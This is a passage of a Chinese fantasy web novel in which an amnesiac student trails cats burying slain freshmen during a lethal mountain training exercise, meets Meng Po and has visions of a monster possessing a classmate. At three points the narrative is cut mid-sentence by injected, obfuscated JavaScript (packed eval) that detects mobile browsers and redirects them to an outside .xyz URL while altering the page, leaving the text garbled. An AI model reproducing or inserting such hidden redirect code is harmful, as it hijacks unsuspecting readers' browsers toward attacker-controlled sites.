那名穿着学生制服的志愿者往海滩看了看,确认后面再没有人了,便在表格划上勾,拿起手机。 “报告组长,新生全九百人,除去八十三人因中毒提前离场,其余八百一十七人已全数上山……什么……紧急集合?我现在的位置是……” 不知听到什么,志愿者眉头一皱,便收起折叠凳,背起背包,预备同样往山上去。 踏出一步前,即便十万火急,他也同样安安静静在山前弯下一腰,对着石头敬拜一礼,随后身影匆匆忙忙消失于林间小路。 ——从始至终倒是没有人问,虞江临又为何不拜。 13.人头菜园 山上路不好走,雾落在林间,更是遮掩视线。 虞江临的脚步很浅,几乎不出声。他仍旧小跑着,步履轻快,吐息又缓又稳。 宋林勉强跟在后头,满头大汗,步子更是沉重,像是替虞江临喘着两人份甚至更多人份的粗气,重重叠叠,显得狼狈极了。 他身前,那位说着“不擅长运动”的青年,在人眼完全看不清的白雾里轻盈跃动,似乎压根儿不担心撞到哪棵树。只能看见对方向后扬起的黑色长发,像是一滴墨水落入到纯白的轻纱帐上,随风鼓动,若隐若现。 宋林硬着头皮紧跟着那黑色的“指引标”,这一路埋头全力跑着,竟然真没有撞上障碍物。只是有时候稍微跑慢一点儿,便彻底失去了方位。 就在宋林越发起疑,猛然意识到这一路上竟然从始至终没碰上其他学生,前头的虞江临似乎正把他往某些荒僻地方引时——他终于完全看不见对方的身影。 孤身一人的山路冷清,幽静。 明明四下无人,却总觉得有什么东西正盯着自己看。那视线仿佛密密麻麻,防不胜防。好像只要闭上眼睛,便会被雾中什么东西开胸破肚。 “你还好吗?”忽然有声音从背后极近处传来。 “啊——”宋林吓得叫了一声,那叫声仿佛不是从喉咙里发出的,而是从四面八方撕扯开来,层层叠叠,回声不断,很是吵闹。 声音的主人从雾气中走出,站到他面前。 原是虞江临。 “嗯……你的胆子似乎有点小。”虞江临把手背在身后,垂眸望着脚边瘫软的人,嘴角弯上一道浅浅的笑意。 ——虞江临其实挺爱笑。 他常常将这笑轻轻挂在嘴边,可却少有人觉得他平易近人。或许是因为每当他笑起来时,那双清澈的金瞳便愈加冷冽,皎如水上月,遥不可及。 人们被这轻飘的笑意扫过,便无端觉得自己正遭受轻蔑的俯瞰。在多数人眼中,虞江临的笑从来不意味着亲昵,更像是某种高高在上的观赏。 宋林终于亲眼见到那传说中所谓“虞江临的笑”。 如前人所述一般,这笑令人战栗,仿佛自己灵魂的一切,都已被这清冽的金瞳审视无遗。 ……金瞳?! 宋林突兀打了个颤,他警惕乃至紧张地向那双眼睛看了又看,才发觉是自己眼花误认。那只是掺了褐色调的琥珀瞳而已,被朦胧的白雾一罩,才仿若有了莹莹的金光…… 他不动声色松了口气。 “宋林同学今天身体不舒服吗?”他听到头顶上那人似是关切地又问,声音又软又轻。 显而易见,对方委婉指出的,便是先前自己称擅长跑步一事。而“不擅长运动”的虞江临,竟是显得比他更为轻松。 宋林这才反应过来,他竟然被吓得坐倒在了地上。双腿酸软,说不准还是累倒的。 自从他成……有多久没有这般丢脸过了?好在周围没有熟人,被虞江临看见也就罢了。传说中的虞江临…… 宋林垂着脑袋不知想着什么,才抬起脸又礼礼貌貌一笑:“我这种人只擅长在空旷的平地上跑。这山又陡又压抑,到处是雾,可跑不起来。见笑了。” “噢。”虞江临似乎很是理解地点了点头,“毕竟宋林同学只是业余的,比不得专业选手,我明白。” “……一般来说,没有哪个主办方会安排全程在山上长跑,还是这种又陡又起雾的荒山。”宋林没忍住给自己找补了一句。 “嘘,这山可不荒,宋林同学。”虞江临挑起一根手指,轻轻抵在他自己唇间,做了个噤声的动作,吐出的话放缓压低,“这里住着一群可爱的小家伙。” 宋林却只愣了愣,连对方说了什么都没听仔细。 此刻虞江临站着,他坐着,那居高临下的浅笑,配上刻意压低的嗓音,莫名令人觉得惊悚。像是画皮的美人露出半截白骨婀娜一笑,美则美矣,却森然怪异,亲历者除了想跑还是想跑。 可细细看了又看,虞江临白白净净一张脸上,除了温和与善意再无其他,似乎脾气好极了。 也对,都已沦落至此,今非昔比,传说中的虞江临…… 不知是联想到什么,宋林站起来拍了拍衣服,怜悯地瞥了眼队友。 唔? 虞江临丝毫不落地接收到这微妙的眼神。他若有所悟地垂着眼眸,浓密眼睫内目光流转。 ——看来不仅认识他,还知道些什么有趣的东西。 他仿佛只是在刹那间消化好那纷繁的思绪,随后扬起一抹清浅的笑,正要若无其事继续赶路。 就在这时,草丛里一团黑影极快地略了过去。 虞江临一向眼尖。他停下足尖,稍稍歪了歪脑袋——这似乎是他思考时的习惯动作——目光放空,简称发呆。 那黑影的形状好像是…… 不过,这边还有个讨人嫌的、犹待处理的队友。 在黑影与讨人嫌的队友间,虞江临只浪费了两秒便愉快做出决定。 他后退两步,转瞬身影消失于白雾中。 等宋林察觉不对回头看,便发现自己又一次独立迷失在山林间。 这时候,虞江临已经窜出到山的那头,偏离了指定跑道。 . 那团低矮的黑影移速很快,虞江临于是适当提高速度,保持一段合适的距离,跟在后头。 等黑影中途停下来,他便朝旁边一棵树蹬脚,原地轻快地上了树。 他坐在树干上,两腿悠闲垂下晃荡,两手扶着软而细密的枝叶,两眼则将树下一切窥视无遗。 那黑影正是一架抬着人的担架。担架上的似乎便是前不久吃坏肚子的学生,苦着一张脸陷入昏迷。这都没什么稀奇的。 不寻常的是,那抬着担架的不是别的,而是一群毛色各异的猫猫。前面两只,后面两只,合作充当着猫力轿夫,一路上山跑得飞快。 这儿的路不比前头专门开辟的小道,落叶与野草交错铺盖,有些野蛮生长的树丫甚至松弛垂到地上,如瀑如墙。 人不好走,猫可是好走极了。不过似乎是念着担架上的两脚人类,四只小猫还是贴心地清理起前路。 它们齐心协力把担架放置到一边,随后各自忙忙碌碌地把树丫咬到旁边去,用爪子将比他们还高的草丛踩平。 等确认前面不会再有什么东西刮住人类庞大而弱小的躯干,猫师傅们才再度将担架背起,继续风风火火地朝前狂奔。 虞江临轻巧跳下树,踩着猫师傅们开辟的道路,仍旧尾随得飞快。 这一路走走停停,好不容易,这辆小猫牌救护担架似乎终于抵达目的地。眼前一片被树林环绕的开阔平地,没长什么草,不知是不是被专门清理过。 湿漉漉的土被松软翻开,显露出凝实的黑褐色,像一床厚重的棉被铺盖在了林间。飘逸的雾气轻盈晃荡其上,把土壤间的东西遮蔽得朦胧。此处的白雾似乎比别处更为浓厚…… 虞江临站在后头,视线扫至前头,他诡异地沉默了一下,目光凝固。 顶着一张茫然的脸,他再度上了树。 这或许是某种新潮流。虞江临似懂非懂地思索。 他从前倒不是没见过这种场面,只是朦胧破碎的记忆里,似乎都是某些邪门歪道之术,嗯…… 只见在他身前下,大约有一间教室那么大的空地上,此刻满满当当地“种”满了一颗颗人头,活像什么邪祭现场。 每颗人头都闭着眼睛,难辨生死,倒是完完整整,未曾缺什么五官,也没有多出什么奇怪的部位。他们的表情很是安宁,看不出多少痛苦。 不难辨认出,这些“人头”便是前不久那些吃坏肚子的新生们。如果不是他的回忆出了问题,那么这些学生此刻应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的脑海中瞬时浮现出这样一幕:寂静月色下,养好病的新生们悄无声息睁开眼,白惨惨的月光照在他们空洞的眼上。只听嚯地一声,地里的新生们僵尸一样地朝上伸出手,随后一整个身子破土而出。 他们便如此这般无知无觉地麻木走下山,回到校园中,躺到宿舍床上,第二天醒来便迷迷糊糊重新回归平凡生活…… 那场景实在太过逼真,不像一种荒诞而离奇的幻觉,反倒仿佛是虞江临果真一次又一次亲自见证。他闭眼轻轻晃了晃脑袋,再睁开眼睛,视野恢复到此刻。 猫猫们已经干完活,团团聚集在一起,毛茸茸又吵闹闹。 “好啦,这下子最后一名伤员也埋好了!呼呼,这次需要处理的新生也太多了点,看来下次得再找一片更大的空地才行了!” “最讨厌开学了!每学期都是这个时间点的时候最忙,打打杀杀真烦猫!一点都不体谅我们体育部的难处!” “这次部长临时调了好多猫猫走,我们自己都要不够用了诶……” 干完活的猫师傅们似乎很是兴奋,喵喵喵地就要滔滔不绝聊起天来。可惜事与愿违,很快便又有一队担架师傅送着不知死活的新生跑来,打断闲聊。 “喵喵喵!别嘻嘻哈哈了!快点走,前面还有好多新生要搬运呢!” “嗯?吃坏肚子的那批笨蛋人类不是都在这里了嘛?”猫猫们很是困惑。 “哎呀!是新的事故啦!有两个坏坏的新生守在悬崖关口上面,后面来一个人类就往下揍一个……悬崖下面堆积了好多笨笨的新生,需要我们搬运!” “咪——”以为终于能休息的猫师傅们发出难过的哀嚎。 人类坐在树上偷听,只觉这描述越听越熟悉。 虞江临眉梢一挑。 这两个“坏坏的新生”,估计就是他的两位便宜队友……一个“擅长攀岩”,另一个“搏斗技术颇佳”。 14.酸梅汤 虞江临赶到那据说“躺了许多新生”的悬崖下面时,一车新的猫猫大队正巧从他身边走过。 猫师傅们大摇大摆走在路上,没有避让什么。再往悬崖那头一瞧,倒得七零八落的人类有些躺在河道里,还有些被冲到岸边,旁边的猫猫们辛苦地挑挑拣拣。 悬崖上一道瀑布飞出,垂挂如剑,汹涌的水流溅出极远。虞江临摸了摸脸,把那几滴冰凉捏到指腹间。无色无味,比普通水更为凝固,团在他指尖,好似一粒晶石。 “这水连通外面那‘浮海’,有人说是这山神的眼泪。”一道苍老的声音从身后传来。 虞江临侧脸看去,见到是位面容和善的婆婆,似乎一直立在河边眺望。对方一头灰发绾得齐整,上头扎一蝴蝶银簪,下穿暗红宽袖袍。岁月在额间眉间留下痕迹,那对深绿色眼睛却亮得惊人。 “山神的眼泪?”虞江临的语调有些奇异。 “传说那位大人悲悯凡人,便落下血泪。这泪水能洗煞,把那戾气横生的灵魂里里外外洗得宁静、平和。再暴戾的人在这山上爬了一周,都将变得乖顺。” “真的么?” “假的。也可说是半真半假。” “……嗯?”虞江临认真倾听的表情愣住,他盯着说话者的眼睛,似乎在判断这最新一句话又是真是假,接着笑了两声,直白说道,“我还以为您是专程来给我做‘背景介绍’的‘世外高人’。” 老婆婆摇摇头,同样也笑笑:“老身可不是什么高人,充其量只是个打饭婆子罢了。有些话不该说,有些事不方便做。若想要知道这里是何处,又究竟发生了什么,只能请您自己去挖掘……唉,又掉下来一个。” 虞江临顺着对方视线看去,那里一名新生正好浴血飞出。兴许是胸前被捅了极深一刀,大片鲜血跟随身体被抛出,像一只展翅而飞的红蝴蝶。 “红蝴蝶”掉落于瀑布底,又很快被水流托起,飘荡至岸边,正巧停在虞江临脚尖。尸体青白的脸上仍睁着双惊惧的眼,分明已被开膛破肚,破碎的内脏却并未散出。那无色无味的水珠渗透进躯壳,便牵连着里面红的白的重新聚合。 不消一会儿,这死状凄惨的家伙便恢复“体面”。除了肤色仍旧铁青不似活人,其余完完整整,与常人没有多大分别,变成了虞江临先前在菜园里见到的那些“不知死活”的病患。 又有猫师傅抬着担架来了。 猫猫们看见了站在这的虞江临,有些惊讶这时候竟然还有新生刚到这里:“你现在要爬悬崖吗?不过这会儿掉下来的新生可太多啦,我们这边人手不够。如果可以的话,希望你能过一会儿再去,真是太感谢啦!” 虞江临蹲下身来方便与猫猫们对话,指着地上尸体问:“你们觉得我会像他一样被‘弄死’?” “喵?”猫师傅们脑袋挨着脑袋,一齐盯着虞江临上下左右地瞧,最后得出结论,“你的身子骨太弱啦,打不赢那些坏孩子的。” “是么。”虞江临笑意盈盈,倒是没有反驳。 “悬崖上面正进行混战呢,最厉害的新生都在那里打架,最聪明的新生则悄悄等在悬崖下边暗中观察……至于又弱又笨的新生嘛,喏,就像他一样了。”猫师傅们望着那躺尸着的“又弱又笨”的新生,唉声叹气。 说罢,它们又看向一旁的灰发老人:“哎呀,是婆婆!食堂送餐来啦,要开饭了吗?” 灰发婆婆笑得和蔼:“到饭点了,吃饭吧。今天的烤鱼尝试了新的酱汁,你们也许会喜欢。” 虞江临这时才注意到,对方身后拉着一小推车,车上塞满了一只只饭盒……食堂?他好像还没有去过校内食堂。 伴随着其中不知哪只猫大喊了一声“开饭啦”,悬崖底下忙碌的猫师傅们撒爪就跑来。就连树林里也不知从何处窜来毛色各异的猫猫们,成群结队。 在老人面前,它们整整齐齐排好队。 老人便转身从推车里翻开白布,嘴里问着排头的那位小猫:“今天做的盒饭有咸口的和甜口的,想要哪一种?” “甜口的!谢谢婆婆!”猫师傅欢快嚎了一嗓子,话音刚落身形便膨胀起来。小小一只的猫咪转瞬变成一只体面的两脚人类,身上还穿着高年级的学生制服。 变成人类的学长从婆婆手中接过饭盒,没有做猫咪时那般吵闹,而是规规矩矩又礼礼貌貌地再度道谢:“谢谢婆婆,您辛苦了。还是老样子,要一碗红豆汤。” “你们才是,忙活了大半天,都辛苦啦。”婆婆又拿出一只空碗,揭开盖子从一只大桶中盛出满满的羹汤。 虞江临好奇往里看,只见一弯曲隔板将深桶一分为二,如同阴阳阵。左边汤水粘稠而朱红,还泛着热气;右边汤水清清凉凉,黑乎乎浮着透明冰块。 也许是瞧见虞江临的视线,老人便解释:“是热乎的红豆汤与冰镇的酸梅汤,要来上一碗么?” “好的,谢谢您。”虞江临露出微笑。 老人却并未立即动作,那双幽绿的眼只望着虞江临又问:“红豆汤是甜口的,一口喝下去暖胃舒心,舒舒坦坦,能叫人忘掉许多烦心事。酸梅汤是酸口的,一般人接受不来,但具有醒神功效。” 虞江临嘴角仍缀着浅笑,神色未变:“来碗酸梅汤吧,婆婆。” 老婆婆便转身拿起一碗一勺,往那黑咕隆咚的汤水里舀,嘴里嘟哝着:“已经很久没有学生来找我要酸梅汤喝了。” 虞江临从老者手中接过汤碗,漆黑的水中望见自己面容的倒影。鹌鹑蛋大小的方形冰块堆满碗面,像一面碎裂的无光镜子。比起酸梅汤,这碗东西倒更令人联想起某些熬得发苦的中药,某些危险而神秘的剧毒。 他静静看着水中影,忽然便仰头将一碗酸汤饮尽,浓郁的黑色汤汁从他嘴角蔓延溢出,像是流着冰凉的血,又像是沿着脸颊落下的泪。 那冰镇的凉水果真如此酸涩,冷到心底里,把一颗心脏都酸得颤抖起来。冰冷的水流顺着食道流进血液,把滚烫的、迷离的血浸得清醒。如同冬日里瓢泼大雨淋下,将人从头到尾打醒。 那股子刚睡醒后晕晕乎乎的朦胧感被这冷意打破,酸涩的气味从舌尖散开,一股脑涌入眼眶。 虞江临好似被这乌梅的味道呛到似的,他猛地闭上眼。视野却并未就此陷入漆黑。他眼前出现了许多画面,那些画面叠加到一起,鲜活而生动。他仿佛于高空俯瞰着大地上所发生的一切,又似正身临其境,经历种种。 ——他看见三幕正轰轰烈烈发生的情景。 他看见本该宁静空旷的校园之上,裂开了三圈巨大的太阳。黑红的太阳烘烤着身下一切,扭曲着畸变着,竟隐隐凸浮出人的五官。 火雨无情肆虐着昔日校园,一部分的边际建筑群已然毁损,大部分仍牢牢被庇于某种防护之下。三日遮天,地上一群只有芝麻点大的猫正奋力施法抵御,拼命维系它们周围眼花缭乱的法阵…… 他看见云雾缭绕的山巅之上,巍然白骨冢屹立。同样的黑红三日张开獠牙,试图吞噬整座枯冢。这三轮太阳相比之前的更为巨大,更为深沉。如同三只正在膨胀的肿瘤,污染着天空与大地。那“肿瘤”上的纹路已编织成三张怪异的人脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14727020|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脸狞笑着。 在巨大的三面人脸下,又是另一群猫正与之相敌。只是这边的战况更为惨烈,许多猫倒在地上、泥里,但绝不让那太阳靠近山巅一步…… 他看见一片海,他知道这是正在进行的第三片战区,同样的却更为阴森邪狞的三面人脸太阳高悬于海面。这里似乎相比起来更为“宁静”,没有纷乱的法术,亦没有尸横遍野的惨境。只有一只纯白色的猫的“尸体”,一起一伏飘荡于海面。 不,那甚至不能用“白色”来形容,某个鲜血淋漓的东西像只残破的垃圾袋,被丢弃于海面上,正遭受那庞大怪物的“撕咬”…… 如果这些“太阳”都是某个不可名状的怪物的分身,那么这最后的海面上的三面怪物一定最接近本体的力量。它是如此巨大,像一座悬浮的山峦,几乎紧贴着海面,要以毁天灭地的力量,将那小小的“白色垃圾袋”摧毁。 “白色垃圾袋”晃了晃,竟是还未死去。它颤巍巍地试图再度站起来,却又被“撕扯”开,堕入海底。如此死而复生,生而复死,不知死活地与敌人相缠。 海上的三面人脸开口了。 它的五官鲜活地蠕动着,三面相聚,一喜一悲一怒,三副不同的神态拥有着同样一张面孔,那是虞江临不久前才见过的脸。 “区区八尾,不自量力。”三张“宋林”的脸冷笑着说。 . 虞江临睁开眼睛,那惊悚的一幕幕景象消失了。 眼前只是普通的林地与崖瀑,前来充当志愿者的学长学姐们正有滋有味吃着盒饭,旁边试图爬上悬崖的新生们被崖上的“小团伙”霸凌,通通死下悬崖,等待着被学长学姐们抬上救护担架…… 那老婆婆的声音再度传来:“即便清醒了,许多事仍是无能为力,徒留痛苦。倒不如喝一碗安神的红豆汤,沉溺于无知无觉的梦境。” 只见方才还满满当当的小推车,如今已空了不少。学长学姐们不知何时都已领了盒饭,各自席地而坐,一盒饭并一碗汤。虞江临目之所及,那汤碗内皆盛着粘稠的朱红色。身旁推车之上,鸳鸯铁桶两极并列,其中一半已舀空,另一半冷黑的汤水仍满满当当。 婆婆已开始收拾推车,似乎预备要走人。 “这军训是一定要准时进行么?”虞江临问。 他觉得这所校园真是好生怪异,外面一群高年级的学生正奋力与敌人打得眼花缭乱、惨烈又壮烈,被护在山中的一群新生却无知无觉进行着军训,玩着过家家般的登山游戏,甚至还弄出了小团体霸凌。 “我们推迟得了,这些新生却等不得,他们盼望了许多年才得来这‘入学’的机会,只再盼着将来‘毕业’。再说,哪学期没有这些‘事故’呢?”老婆婆的声音仍旧温和,语调不急不慢,“能打架的孩子都调到前线去了。只剩下周围这么一小部分,留在这维护军训秩序。” “没有人负责这些事么?仅仅让一群……‘学生’来管事?”虞江临微微歪了歪脑袋,脸上不再挂有什么表情。 老人又笑了:“若在从前,有位大人只须一抬手,便能化解天崩地裂、沧海倒灌之危;此般的来敌,也未曾被置于眼中……可如今,那位大人连老身的名字都忘啦。” 这是一副善意的笑,像是长辈对晚辈的打趣,又像是晚辈对长辈难得昏头的无奈。 苍老的猫眼倒映着黑发年轻人的身影,那身影纤细,青涩,一如很久以前,久到那位大人身边还未聚集起众人。 “……我该如何称呼婆婆?” “老身姓孟,他们总唤我——孟婆。” 15.“宋林” “宋林”立在山林间。 此刻距离虞江临走后,已过去上十分钟,他却未曾离开原地一步。没有了虞江临做指引,他立刻便失去了方向,无论如何也走不出这山中白雾。 ——那姓虞的很是古怪,是察觉出他没法看见沿路的指示标,于是故意把他引来这里困住么?不,不可能,若他碰上的真是当年那位“虞江临”,现如今不可能还好端端站在这。巧合么…… 白雾中隐隐约约有某些光亮闪烁,他知道那是猫的眼睛。一群又一群的猫正藏在雾里不善地盯他。这些猫受了点化,开了灵智,比寻常野猫更聪明,却还未化形,平时似乎就住在这山上,守着那座骨冢。 他试过去捉一只给他带路,可那白雾着实蹊跷,他无论如何都只能扑个空。于是只能任由这群恼人的东西悠哉地围在旁边。 “宋林”想起来虞江临走前说的那句话:这里住着一群可爱的小家伙。看来不仅是他,虞江临也发现了这群尾随他们的家伙。 ——与他动身前获得的消息不同,这“虞江临”的魂魄似乎还未完全消散,刚见时他差点以为自己落入了陷阱。直到近距离谨慎观察才放心,对方是真死了,如今这具不知何物的躯壳与行尸走肉无差,半点灵力也没有。 “哼,沦落到要被一群野猫护着,也不过如此。”他从前没有真正见过虞江临,当他到达那一步踏入了“他们”的境界,便才听闻那位传说中的大能早已陨落。 倒是听说这位虞江临曾养了群猫,如今看来传闻果真不假。已成废人的虞江临,配上一群牲畜,倒也相配。 刺目的红光忽然炸开,自下而上罩着这张阴郁的脸。 “宋林”漫不经心垂眸,那根统一分发下来的荧光运动腰带,此刻环在他腰身上,一闪一闪射着鲜红的警示灯。他嗤了声,随手解下,将之丢至一旁。 与虞江临呆在一起时,他刻意掩盖了腰带的异样,如今看来对方短时间不会返回,便没必要遮掩。也不知这腰带是什么宝器,竟然能看破这壳子已易了主。 “宋林”用挑剔的目光扫了眼自己,嫌弃地撇撇嘴。如果可以选,他更愿意占一个更好的壳子,比如他方才精挑细选出来的两个祭品。 可惜了,他污染了校内许多设施,蹲了几日,也只引诱出来这么一位闯门禁,还险些被那白猫捉到。 思及此,“宋林”冷冷又是一哼,皮笑肉不笑地朝地上某个位置扫去一眼。那里分明什么也没有,他却仿佛正盯着什么,阴阴说道:“我倒是没想到,你竟在他身上放了守命符……以命相抵,甘愿身受重伤,哎,真感人。若不是你,我早便得手,犯不着折腾到现在。” 他凉凉说了一阵,便抬起只手。若虞江临在此,必能认出,这手便是先前他于大巴上醒来之时,提醒“宋林”正受伤流血的那只。此刻,整只手臂都已溃烂,向外流着紫黑色的浓郁苦汁,连里头翻出的骨头都呈现出被烧焦的腐斑。 “宋林”用另一只手徒手一切,这根遭受反伤的手臂便整根自肩部掉落,缀在地面化成灰白灰烬。而那断口之上,又活生生长出一根新的手臂,原模原样,光洁如初。 “宋林”转了转手腕,试着这新生的器官,居高临下轻蔑道:“作为猫妖能修炼至此已是难得,八重境中恐怕难有能伤你的存在……虽然也只是八重境而已。要不是替他挡了那记伤,你也不至于这么快就如此狼狈。” 遥遥海之上,深蓝色的海平面盛着黑红的火焰,成了一片火海,仿佛天空俯身向海抓来无数鬼手,将要掐灭宁静的深蓝色。 火海之中,八尾猫仰面躺着,每条尾巴都被烤焦,身上几乎没有完好的一片。已是濒死,一双蓝金异瞳眼却仍冷冷盯着天空之上的来敌,似乎从没有退让的打算。 林中的“宋林”与海上的人面三日同调大笑:“我倒要看看,你这八重境,能给他挡到几时!” . 虞江临忽然转头,眺望向山的那头,那是海的方向。 他脸上表情仍旧未变,只是嘴角不带笑意。 “孟婆婆,您说他们自己能解决么?” “老身不知。老身只是个打饭婆子,修行浅薄,空无法力,只会烧些饭菜罢了,从来无法参与到这些来。”孟婆说着便推着推车,似要就此离开。 “您这就要走了吗?”虞江临有些意外。 “送完了饭菜,老身自然是要回食堂的,还要准备大家伙的下一顿饭呢。”孟婆手上的推车,便吱呀吱呀地往前走,笨重的推车仿若纸做的般,于青草乱石间轻松游摆,“您要是心疼,也可以尝试做些什么。毕竟很多事我们做不得也说不得,但您是可以的。” “为什么?因为我曾经是个很厉害的人么?”虞江临理所当然地如此问起来,一点儿不脸红,一点儿不心虚,一点儿都不觉得这话有什么问题——哪怕他什么也不记得了。 “——因为他永远不会朝您发火。”这个出乎意料的答案令虞江临微微愣住。 就在虞江临愣神之际,孟婆的身影已逐渐远去,剩下最后几句话落在后头:“等这阵风波过去,往后可以常来食堂,找老身要一碗酸梅汤解腻……不过可要记得避着‘那位’。” “那位”又是哪位?这个问题刚在虞江临脑海里冒出一小截,便立即被一个“白毛蓝眼”的人影盖住,那人影又转瞬变化成一只“白毛蓝眼”的小猫……啧。 虞江临眯着眼睛不知想着什么,这时候周围一阵嘈杂。方才还心满意足吃盒饭的学长学姐们,不知何时都已放下饭盒,变回一只只小猫,继续风风火火地抬着担架“赶尸”。 “死掉的新生太多了!人手不够!” “就地掩埋!无须再搬运!” “死伤已经过大半了……山上的雾气越来越稀薄了……这届新生怎么这么好斗!” “怎么办……偏偏在这种时候,部长也不在……” 虞江临看见小猫们开始就地挖坑,又就地埋尸,场面一时混乱。他扫视周围一圈,很快发现尸体新增的速度比之前更快了。 “如果死人太多了,会怎么样?”他问起身旁一位猫咪学长。 “会怎么样……医疗资源是有限度的!死掉的家伙越多,修复他们所消耗的力量就越多……山会崩溃的……” “如果山崩溃了,会怎么样?”他又问。 离得近的猫猫们听到了这话,面面相觑。 “不知道……” “山从来没有真正崩溃过……因为在那之前,主席会发很大很大的火,把所有新生都做退学处理……” “以前有过一次……那一次学校停了好久,一直等到山恢复元气,才再度接纳新生…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740824|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 虞江临抬眼,望向远处那瑟瑟发抖的新生们。这群人大概就是猫咪们口中“虽弱但勉强聪明”的那批,此刻躲在悬崖瀑布下面,没有贸然上悬崖送死。 可这终究不是长计。既然军训要求他们上山登顶,那么这中途的悬崖便避无可避,迟早要去面对。不解决源头,问题不会自动消失。 虞江临好奇问:“既然不希望增添更多伤亡,为什么要放任他们相杀?你们不能上去制止么?” “哎,你是不是没有好好看《新生手册》?这年头的新生真是越来越浮躁了……” “……抱歉,我看得不够仔细,《新生手册》上有写什么吗?”虞江临顿了顿,乖乖蹲下身,问起面前小小一只的猫咪学长。 学长清了清嗓子:“咳咳,第11条:‘校内禁止相杀,校内禁止自杀,违者后果自负。’第12条:‘开学一周内进行军训,军训期间上条规则无效。’” “意思是你们鼓励新生们在军训期间自相残杀,为什么?”虞江临立即发觉当中的隐含意味。 “因为每届新生刚入学时大多都有点小坏,有时候还会出现些超级坏的大坏蛋。他们总想着到处搞破坏,想着打打杀杀,他们浑身都是戾气。每次都是刚开学那会儿,隔壁纪律部最忙,整天把那群坏坏的家伙捉回去教训……”猫咪学长嘟哝嘟囔着。 虞江临垂眸听着,想起几日前的一幕。他坐在校车上,望见一群猫压着几个鼻青脸肿的学生走,跟管罪犯似的,估计那时候就是碰上了纪律部捉人的现场。 “等到了军训周,就成了我们体育部最忙。部长说,军训就是要让他们发泄掉一身戾气,把他们变成乖孩子,往后才能做乖乖的好学生……” “戾气?” “戾气,邪气,煞气……总之就是这一类嘛,反正就是他们身上的一些不好的黑不溜秋的脏脏的东西。哎呀,你不要和我在这聊些有的没的啦,我很忙的!”猫咪学长一甩尾巴,便又跑回去刨坑了。 虞江临想起孟婆所说的话,此刻那通关于“山神”的传说倒是与这位学长所言对上了。所谓“半真半假”,那么他是否可以认为,这山确实有“净化”的效用?至于假的么……虞江临莫名觉得“山神”这个词不大好听,他怀疑是假的,虽然他没有证据。 ——山神,多没有逼格。他略有些嫌弃地想。 虞江临抬脚打算去悬崖下面,与那边的新生们再做交谈。河水看起来清而浅,没有别的路,他便想要涉水而过,足尖甫一入河,那自悬崖之上跌落的无色之水,便自发避开了他的鞋面,仿佛两极相斥。 虞江临挑了挑眉,眼中兴味正浓。 不知为何而醒,不知为何而记忆全无,不知周遭一切为何物,从大巴上苏醒开始,他便觉自己像一具没有实感的空壳——还是一指头就能被人碾死的那种。但虞江临并不困扰,反而认为有意思极了。 ——只是心底里偶尔莫名涌现的酸痛,令他不解。 过了河,便看见一撮人群躲在瀑布下,乱石后,约有一百多人。虞江临扫了眼,准备就近找个好说话的继续询问相关事宜。他的目光停留在两位女学生上。 那似乎是一对感情很好的朋友。只是其中一方将另一方拥抱着,看护着,安慰着。比起同龄人,她们之间的奇异氛围倒更像是母女。 16.浮海 两个姑娘贴得很紧。一人长发披散,另一人梳着条马尾辫;一人的神态看起来沉稳而成熟,另一人更显稚嫩、仓皇。 那看起来做守护者姿态的小姑娘温柔安慰着:“别怕,没事的,很快都会过去的……”只是那止不住颤抖的肩膀,暗示着她内心同样并不镇定。 她怀中的另一名小姑娘则边小声抽泣着,边用手背擦拭眼角,脑后马尾辫一颤一颤:“我们能不能不要毕业了,我不想呆在这里……” 负责安抚的小姑娘默了默,低声道:“可是外面也很可怕……我们好不容易才等来入学的,再忍忍就好……” “外面是什么?”二人身旁,一道清润的生硬插入谈话。 两个姑娘均是吓得一惊,马尾辫姑娘下意识将脑袋埋进长发姑娘胸前。长发姑娘也是脸色一白,立即护住了怀中人。她瑟缩地抬起眼睛,发现她们身前不知何时蹲了一个人。 那人看起来同她们是一样的年纪,十八九岁的样子,正值青春——校园里的学生都是如此。最先注意到的,是那人脸上一双黄褐色的眼瞳,平静,冷清,令人分辨不出情绪。与这双眼睛对视久了,心底莫名被冻上冷意,她赶紧错开视线。 这人的脸很是白净,却并非人们惯常会联想的如脂如玉的“白”,而是某种近乎透明、苍白如蝉翼的微妙色泽。与这白呈鲜明对照的,是那一头绸缎似的墨发。柔顺的黑发微微没过肩头,轻盈而具垂感,如一丝一丝精雕细琢的黑玉石。 她竟然一时间辨不出来者的性别,便再往下看。 与这精致五官截然不同的,是那一身过于潦草的穿着。过分宽大的灰白色外套不合身地批在外面,随着对方蹲下的姿势,下摆甚至一部分拖到了地上。被这外套所包裹着,只能露出一小截鞋面,似乎是双普通的纯白轻便运动鞋。 她想起来一句话:好看的人,就算是批一身麻袋,也是极为好看的。 也许是因为没有得到答案,这人又问了一遍:“外面是什么?”这次她听得明白了些,虽然声音软和清亮,但确实是男生。 